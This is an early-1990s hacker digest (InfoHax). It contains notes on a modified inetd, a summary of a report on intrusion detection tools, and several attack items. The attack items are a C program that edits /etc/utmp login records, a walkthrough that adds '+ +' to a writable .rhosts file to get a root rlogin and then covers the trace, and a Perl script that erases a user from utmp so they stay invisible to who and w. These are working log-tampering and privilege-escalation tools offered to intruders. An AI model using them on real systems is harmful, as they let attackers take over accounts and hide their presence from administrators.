* Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4
running sunos4.1.
* Added sunrpc support. Easily commented out for systems without sunrpc.
mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc
services in /etc/inetd.conf. My version understands both syntaxes.
* Added security support; new configuration file /etc/inetd.sec.
Based on the feature of HPUX's inetd (you can look at their documentation
if you have an HP machine handy, or log in to one of ours to look), but
not quite the same. Basically, /etc/inetd.sec contains lines like:
telnet deny undesireable.machine.com
ftp deny *.undesireable.domain.edu
login allow blessed.machine.org
shell allow 128.52.46
telnet rejections /bin/echo echo We do not like you.
This says: Allow telnet connections from anywhere except
undesireable.machine.com; allow ftp connections from anywhere except
anything matching *.undesireable.domain.edu (that's a shell glob pattern);
allow rlogin only from blessed.machine.org; allow rsh only from things on
subnet 128.52.46; when undesireable.machine.com tries to make a telnet
connection, echo is run in place of telnetd.
There can be as many allow/deny lines as you like. Each line can have as
many names or nets as you like, separated by whitespace and/or commas. The
restrictions build, so "allow *.mit.edu" followed by "deny 18" will allow
things in mit.edu unless they're on net 18. If the first thing is a deny,
then calling hosts that don't match any allow or deny lines are allowed; if
the first thing is an allow, then unmatched hosts are denied. The
rejections lines give daemon program and args just like lines in
/etc/inetd.conf do.
I didn't include a makefile because the one I use is GNU make-specific and
refers to pathnames on my machine which don't make sense elsewhere.
---------------end of Roland's comments --------
This was followed by 2000 lines of shar. The shar file is available via
anonymous ftp from ccb.ucsf.edu (128.218.1.13). The file's name is
/pub/inetd.fsf.Z.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Thu, 13 Feb 92 10:41:08 -0700
Subject: audit.tools
==============================================================================
Section Name chapter.sec.version 00/00/00
audit.tools 1.14.0 02/13/92
------------------------------------------------------------------------------
DATA:
Summary of the Trusted Information Systems (TIS) Report on Intrusion
Detection Systems - prepared by Victor H. Marshall
********************************************************************
INTRUSION DETECTION IN COMPUTERS
January 29, 1991
1. EXECUTIVE SUMMARY. Computer system security officials
typically have very few, if any, good automated tools to gather
and process auditing information on potential computer system
intruders. It is most challenging to determine just what actions
constitute potential intrusion in a complex mainframe computer
environment. Trusted Information Systems (TIS), Inc. recently
completed a survey to determine what auditing tools are available
and what further research is needed to develop automated systems
that will reliably detect intruders on mainframe computer
systems. Their report #348 was done for the Air Force and
includes details on nine specific software tools for intrusion
detection.
2. BACKGROUND. Computer security officials at the system level
have always had a challenging task when it comes to day-to-day
mainframe auditing. Typically the auditing options/features are
limited by the mainframe operating system and other system
software provided by the hardware vendor. Also, since security
auditing is a logical subset of management auditing, some of the
available auditing options/features may be of little value to
computer security officials. Finally, the relevant auditing
information is probably far too voluminous to process manually
and the availability of automated data reduction/analysis tools
is very limited. Typically, 95% of the audit data is of no
security significance. The trick is determining which 95% to
ignore.
3. SPECIAL TOOLS NEEDED. A partial solution to this problem
could be to procure or develop special automated tools for doing
security auditing. For example, in the IBM mainframe
environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET
are commonly used to control data access and programs such as CA-
EXAMINE are used to supplement standard systems auditing.
Nevertheless, most of these generally-available software systems
do not comprehensively address the problem of intrusion
detection. In fact, intrusion detection is one of the most
challenging (security) auditing functions. There are, in fact,
few existing systems designed to do this, and they must be
tailored to specific operating systems. Also, they do not
generally gather auditing information on activities within
database management systems or application software. Much
research and development needs to be done before intrusion
detection will be generally available.
4. REPORT AVAILABLE. In the meantime, however, it would be wise
to stay abreast of the state-of-the-art in automated auditing
tools for helping security managers detect intruders. TIS, Inc.
recently completed a very comprehensive report on the tools
currently available for intrusion detection and the recommended
directions for future research. TIS report #348 is entitled
"Computer System Intrusion Detection, E002: Final Technical
Report" and is dated September 11, 1990. It was done under
contract to the Rome Air Development Center at Griffiss Air Force
Base in New York. TIS report #348 comprehensively covers the
known intrusion detection techniques. It also reviews the nine
comprehensive intrusion detection tools currently available or
under development.
a. Intrusion Detection Techniques. Although intrusion
detection is normally accomplished using software tools, hardware
tools are potentially more secure because they cannot be easily
altered. In either case, intrusion detection requires that
security-related auditing data be collected, stored, and
analyzed.
(1) Data Collection. Specific events or sequences of
events must be defined as important enough to cause generation of
an audit record. Potentially every event has security
significance, but logging the details of every event would
probably eliminate any hope of processing efficiency (or even
effectiveness). Thus, someone must decide which events to log
and when. Also, as noted earlier, the events logged tend to be
exclusively operating system events. It would be useful to be
able to log some events internal to database management systems
and/or application systems.
(2) Data Storage. Some auditing data can be processed
in real-time, but most of it will go to an audit log for later
review. Security is concerned with the extent to which:
- The storage medium for the audit log is
READ-only and non-volatile,
- The computer system used to store the audit
log is connected/linked to the one from which
the auditing data was gathered, and
- The electronic (or manual) data paths are
protected.
(3) Data Analysis. By far, the most difficult task is
to analyze the auditing data. A comprehensive audit log will
certainly be too voluminous for reasonable human processing.
Thus, the following techniques (in addition to other techniques)
must be used in some ethical/legal combination to reduce the
Security-relevant audit data to meaningful conclusions:
- User Profiles
- Anomalies
- Historical Norms
- Trend Analyses
- Probable Scenarios
- Known System Flaws
- Threat Probabilities
- Simulated Intrusions
- Statistical Sampling
- Expert System Rules
- ArtificIal Intelligence
- Hierarchies of Concern (Levels of Security)
- Heuristics
- Neural Networking
(4) User Interface. Finally, the data analysis
process should have a "friendly" user (i.e., security manager)
interface that supports rapid learning, minimal frustration, and
effective results.
b. Nine Tools Reviewed. The nine automated tools reviewed
in some depth in TIS report #348 are:
(1) ComputerWatch Audit Reduction Tool. AT&T Bell
Laboratories developed ComputerWatch in 1989 to summarize their
internal audit files produced by System V/MLS, a version of UNIX.
ComputerWatch could be used on other systems if the appropriate
changes were made to the format/filter module.
(2) Discovery. TRW Information Systems Division
developed Discovery in 1986 to analyze access data from their
credit database housed in a dial-up network of IBM 3090s running
under the MVS operating system. Because it is application-
specific, Discovery could not be easily implemented in other
environments. However, Discovery does process auditing data
produced by IBM's standard System Management Facility (SMF).
(3) Haystack. Haystack was developed by Haystack
Laboratories, Inc. for the Air Force Cryptologic Support Center
in 1988 to analyze data from Unisys 1100/2200 mainframes running
under the OS/1100 operating system. The actual analysis is done
on a personal computer (such as the Zenith Z-248) running under
MS-DOS. Haystack could not be easily implemented in other
environments.
(4) Intrusion-Detection Expert System (IDES). The
IDES model was developed by SRI International in 1985 and has
been implemented on Sun workstations as a research prototype
under a contract with the U.S. Navy (SPAWAR). A version of IDES
for IBM mainframes (using the MVS operating system) will soon be
implemented under a contract with the Federal Bureau of
Investigation (FBI). IDES is designed to be easily implemented
in many different environments. The IDES model has been the
basis for most intrusion detection research to date and it forms
the conceptual basis for Haystack, MIDAS, and W&S. (NOTE:
Haystack was covered above. MIDAS and W&S are covered below.)
(5) Information Security Officer's Assistant (ISOA).
ISOA is an R&D prototype system developed by Planning Research
Corporation (PRC) in 1989 to analyze data from two types of
system - the UNIX SunOS and the IBM AT Xenix. The actual
analysis is done on a Sun 3/260 color workstation. ISOA is table
driven, so it can easily be used to monitor many different
environments.
(6) Multics Intrusion Detection and Alerting System
(MIDAS). MIDAS was developed by the National Security Agency's
(NSA's) National Computer Security Center (NCSC) in 1988 to
analyze data from a Honeywell DPS-8/70 computer running the
Multics operating system (in support of NSA's Dockmaster system).
NCSC intends to further develop MIDAS so it can process audit
data from Sun and Apple systems.
(7) Network Anomaly Detection and Intrusion Reporter
(NADIR). NADIR was developed by the Department of Energy"s Los
Alamos National Laboratory (LANL) in 1989 to analyze data from a
unique LANL Network Security Controller (NSC). There are no
plans to modify NADIR for use in other systems.
(8) Network Security Monitor (NSM). An NSM prototype
was recently developed by the University of California Davis
(UCD) and is currently running on a Sun 3/50. NMS was designed
to analyze data from an Ethernet local area network (LAN) and the
hosts connected to it. NSM is a research system, but UCD hopes
to eventually expand it's scope to include real environments,
real attacks, and perhaps wide area networks.
(9) W&S. W&S is an anomaly detection system that has
been under development at LANL for the NCSC and DOE since 1984.
W&S runs on a UNIX workstation and can analyze data from several
different systems.
c. More Research Needed. The specific TIS recommendations
for further research include the following near-term (1 to 5
year) and long-term (over 5 year) recommendations.
(1) Near Term Recommendation. The main near-term
recommendation is to develop and commercially market an audit
analysis "tool kit" flexible enough to meet the needs of a wide
variety of security users and of a very dynamic environment.
This would require that, among other things, someone:
- Study the techniques for coordinating data from
multiple levels of system abstraction.
- Explore methods for integrating components of
existing intrusion detection systems into a
single prototype system.
- Study the uses of neural networks and how they
might be employed in audit analysis tools.
- Develop the initial design for a proof-of-
concept prototype to include a statistical tool
(to develop user profiles), an expert system
tool (to analyze the data based on predefined
and consistent rules), and a neural network
tool.
- Determine the typical level of security
expertise and perceived needs of a security
manager who will use these auditing tools.
- Test the prototype tool kit using real/live
penetration techniques and data.
(2) Long Term Recommendation. The main long term
recommendation of TIS report #348 is that studies of the issues
surrounding intrusion detection technology be conducted. These
issues include:
- Risk Management
- Advanced Tools
- Network Monitoring
- Distributed Processing (of Audit Data)
- Statistical Analysis
- Detection Sensitivity Analysis
- Collusion Among Computer Users
- Distributed Network Attacks
- Intrusion Response (Counterattack)
- Computer User Responses to Intrusion Detection
- Recognition (to Reduce False Positive
Identifications)
5. TIS REPORT CONCLUSION. TIS report #348 concludes that there
has been much good scientific study done on intrusion detection
technologies, but insufficient time has been spent:
- Analyzing precise user needs,
- Determining the most appropriate technologies to use in
specific situations, and
- Cooperatively sharing the lessons learned from actual
intrusions.
VICTOR H. MARSHALL
Systems Assurance Team Leader
Booz, Allen & Hamilton Inc.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Thu, 13 Feb 92 10:42:04 -0700
Subject: utmp_ed.c
==============================================================================
Section Name chapter.sec.version 00/00/00
utmp_ed.c toolbox.01.01 02/13/92
------------------------------------------------------------------------------
DATA:
/* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ]
made in Korea
Ignor warnings...
By kod's friend.. 'X' */
#include <utmp.h>
#include <fcntl.h>
#include <time.h>
main()
int fd, i = 0;
char buff[100], tmp[100];
struct utmp *ttt;
ttt = (struct utmp
*)buff;
if ((fd = open("/etc/utmp",O_RDWR)) == 0)
exit(1);
printf("File /etc/utmp opened.\n");
while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) {
printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name)
, &(ttt->ut_host), ctime(&(ttt->ut_time)));
}
printf("what entry do you want to edit? = ");
scanf("%d", &i);
lseek(fd, (long)(i * sizeof(struct utmp)), 0);
read(fd, buff, sizeof(struct utmp));
printf("%s -> ", &(ttt->ut_line));
strcpy(&(ttt->ut_line)," ");
scanf("%s", &(ttt->ut_line));
printf("%s -> ", &(ttt->ut_name));
strcpy(&(ttt->ut_name)," ");
scanf("%s", &(ttt->ut_name));
printf("%s -> ", &(ttt->ut_host));
strcpy(&(ttt->ut_host)," ");
scanf("%s", tmp);
if (!strcmp(tmp,"null"))
tmp[0] = 0;
strcpy(&(ttt->ut_host), tmp);
lseek(fd, (long)(i * sizeof(struct utmp)), 0);
write(fd, buff, sizeof(struct utmp));
close(fd);
printf("Thank you.\n");
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
Date: Sat, 15 Feb 92 10:35:43 -0700
Subject: rhosts.hole
==============================================================================
rhosts.hole 06.01.00 02/15/92
------------------------------------------------------------------------------
DATA:
% ls -l .rhosts
.rhosts 1 -rw-rw-rw- 69 root Jun. 9, 1969
% cat >> .rhosts
+ +
^D
% cat /.rhosts
heaven.com god
+ +
% rlogin this.host.com -l root
Last login ... from ...
root# rm -rf .rhosts
root# cat > .rhosts
heaven.com god
^D
root#
------------------------------------------------------------------------------
Comments: I'm not sure, but I think one + will work too... By
inserting the line '+ +' into an .rhosts file, one can gain access to
the account that uses that file from any account on any system provided that:
1) the account is capable of being logged into according to /etc/ttytab
2) if the account is root, some systems may require a password for all root
logins. If you put the '+ +' line in yourself, be sure to remove it when
you're done. One way to do this is to copy the .rhosts file to /tmp and then
copy it back.
Q's: What does this do for hosts.equiv?
Biblio:
CrossRef:
Code/shRef:
==============================================================================
------------------------------
Date: Sat, 15 Feb 92 10:37:16 -0700
Subject: unwho.pl (revision)
==============================================================================
unwho.pl toolbox.01.01 02/15/92
------------------------------------------------------------------------------
DATA:
#!/usr/local/bin/perl
# This assumes your /etc/utmp file looks like ours
$unname = shift;
open(UTMP,'+</etc/utmp');
@mo = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);
while (read(UTMP,$utmp,36)) {
($line,$name,$host,$time) = unpack('A8A8A16l',$utmp);
if ($name) {
$host = "($host)" if $host;
($sec,$min,$hour,$mday,$mon) = localtime($time);
printf "%-9s%-8s%s %2d %02d:%02d %s\n",
$name,$line,$mo[$mon],$mday,$hour,$min,$host;
if ($name eq $unname) {
seek(UTMP,-36,1);
print UTMP pack('A8a8A16l', "","","",0);
seek(UTMP,0,1);
}
}
}
------------------------------------------------------------------------------
Comments:
Here's a perl script that removes entries from the /etc/utmp file provided
that:
1) the /etc/utmp file is world-writable or you are root (utmp is, by default,
world-writable on SunOS.)
usage: unwho <username>
NOTE: you may have to edit the first line to match the path to perl.
Conceivably, you can use this script to remove yourself from utmp so that
you're invisible to programs which read /etc/utmp (like w, who, users).
NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still
show up to other users.
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
-------------------------------------
To join this group or have your thoughts in the next issue, please
send electronic mail to Tangent at the following address;
infohax
The views expressed in InfoHax Digest
are those of the individual authors only.
*********************
End of InfoHax Digest
*********************
